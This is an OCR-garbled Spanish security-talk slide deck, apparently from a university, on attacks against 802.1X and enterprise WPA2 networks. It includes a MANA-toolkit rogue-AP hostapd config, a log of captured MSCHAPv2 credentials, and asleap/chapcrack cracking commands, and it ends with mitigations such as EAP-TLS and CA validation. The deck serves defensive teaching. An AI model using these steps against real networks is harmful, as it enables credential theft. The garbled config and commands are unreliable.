1971 406.8151900€ IntelCor 4e:58:5¢  f0:5¢:19:80:3b:c2  EAP 24 Response, Protected EAP (EAP-PEAP) mMecanismos de d UtentlflcaC|on
cliente-servidor.
USUARIO AP SERV.RADIUS BASE DE DATOS
EAPPOL N EAP sobre Radius J Autentificacion - . e .,
B > > > B No realiza una autentificacion
por paquete.
EAPOL/802.1X
EAP-PEAP
(‘ mechapV2 (credenclales) O
Vi AN

AN

~

/

Expuesto a ataques MiTM

WWW.USsj.es
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Aprovechar que 802.1x solo autentifica en el proceso de establecimiento de la conexion

TCP/ICMP / UDP

ICMP / UDP
A:k
= e : = s =
802.1x 802.1x
2004 EAPoL EApol.
2012 Bndge
E o
R EE— Transparente
Marvin
@ : (iptables/Ebtables)
EAPoL
; EAPOL
Atacante 6
6 MAC/IP spoofing

WWW.USsj.es
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Suplantar la identidad de la infraestructura Wifi de la Organizacion con el objetivo de
interceptar credenciales

Editamos: /etc/mana-todkit/hostapd-ka ma-eap.conf:
Radius
(802.1x EAP-PEAP mschapv?2)
interface=wlan0
bssid=00:11:22:33:44:00
driver=ni80211

ssid=AlvaysOn
channel=6
Atacante s
MANA-TOOLKIT tad=cdurcam
AP ieee8021x=1
Radius con EAP eapol_key_index_workaround=0

DHCP eap sener=1
DNSspoof eap_user_file=/etc/mana-todkit/hostapd.eap_user
stunneld ca_czrt=/usr/share/mana-todkit/cert/rogue-z.pem

server_cert=/usr/share/manatoclkit/@=t/rdius.pem
eduman? msf con sole private_key=/usr/share/mana-todkit/cert/radius.key
o “' adeap private_key _passwd=
dh_file=/usr/share/mana-todkit/cart /dhpe mm.pem
pac_opaque_encr_ksy=00010203040506070809 020 b0c0d0 0f
eap_fast_a_id=101112131415161718151a1bicl d1e1f
eap fast_a_id_info=test server
eap fast_prov=3
pac_key lifetime=604800
pac_key refresh_time=86400
wpa=2
wipa_ksy_mgmt=WPA-EAP
wpa_pairwise =0CMP

e Neanaaant?t

WWW.USsj.es
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/usr/share/mana-toolkint/run-manat ./start-noupstream-eap.sh

MANA (EAP) - identity: soporte

wlan0_0: STA 00:27:10:50:a6:2c |IEEE 802.1X: Sending EAP Packet (identifier 220)

wlan0_0: STA 00:27:10:50:a6:2c |IEEE 802.1X: received EAP packet (code=2 id=220 len=80) from
STA: EAP Response-PEAP (25)

wlan0_0: STA 00:27:10:50:a6:2c |IEEE 802.1X: Sending EAP Packet (identifier 221)

wlan0_0: STA 00:27:10:50:a6:2c |IEEE 802.1X: received EAP packet (code=2 id=221 len=144) from
STA: EAP Response-PEAP (25)

MANA : Username:soporte
MANA : Challenge

MANA : a8:ab:fb:xx:xx:xx:xx:xx (Datos ocultado)
MANA : Response

MANA : 95:3e:2e:13:9e:33:6f:09:f2:0d:d5:2a: xx:xx: XXX XX XX XX XXX XX: X X:XX: XX (Dato
ocultado)

asleap -C <challenge> -R <response> -W <wordlist=

asleap a8:a6:fbxxxacocxexx -R
95:3e:2e:13:9e:33:6f:09:f3:0d:d5: 27300300200 XK IO XK XK XX XX xx -W fusr/share/wordlists
/diccionario-wifi_txt

/usr/local/bin/chapcrack radius -C a8:a6:fb:xx:xx:xx:xx:xx -
R 95:3e:2e:13:9€:33:6f:09:f3:0d:d5:2a: XX XX XXIXX XX XX XKEXX XK XK XX XX > https://www.cloudcracker.com

WWW.USsj.es
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Ataque MitM contra redes empresariales WPA2 mejorado que permite forzar al cliente a
utilizar un cierto protocolo EAP para el envio de credenciales en claro.

Radius
(802.1x EAP-PEAP mschapv?2)

((((( 6

eduroam Ap
F.Qmem que utilices EAP- GTC

Atacante

MANA-TOOLKIT

AP
Radius con EAP

L]
.
L
.........
------------

0k, mis aedenciales en claro

WWW.USsj.es
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# Implantar EAP-TLS.

# Desplegar certificados firmados por una CA
privada y de confianza para todos los clientes.

# Validar siempre la CA y el nombre del servidor
Radius en todos los dispositivos.

# Y siempre utilizar credenciales robustas.

WWW.usj.es
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ﬂ Vlanes y trunking , DTP, VTP: Vlan Hopping y doble etiqueta. \
# HSRP/VRRP: DoSy MiTM.

# Power Ethernet 802.3af: DoS.

WWW.USsj.es
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Algunas cuestiones

# ¢Somos vulnerables todavia a este tipo de ataques o ya los hemos
superado?

# iSomos conscientes si nos estan atacando usuarios internos de
nuestra red?

# ¢(Implementamos medidas de proteccidn a estos niveles?
éDeshabilitamos puertos no en uso?

éutilizamos soluciones de NAC?

éAplicamos configuracién de seguridad a los protocolos?
éQué otras medidas aplicamos?

#* ¥ ¥ %

# ¢Realizamos auditorias internas de seguridad de nuestras redes de
acceso Wifiy cableadas?

WWW.usj.es
.
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% Conclusiones

Aplicar seguridad nos ayuda a proteger nuestra informacion, y a
mejorar y mantener la estabilidad de nuestras redes, generando
confianza a nuestros usuarios.

Tenemos que repartir los esfuerzos y aplicar seguridad a todos los
niveles, los atacantes buscan la sencillez y facilidad, ahi donde menos
seguridad tengamos es donde haran hincapié.

Hay que conocer y estudiar los protocolos que operan en nuestras
infraestructuras y sus debilidades para saber como mitigar las
amenazas.

Hay que “probar” periddicamente la seguridad de nuestras
infraestructuras y a todos los niveles, desde el usuario, pasando por
el nivel fisico hasta la capa aplicacion.

WWW.usj.es
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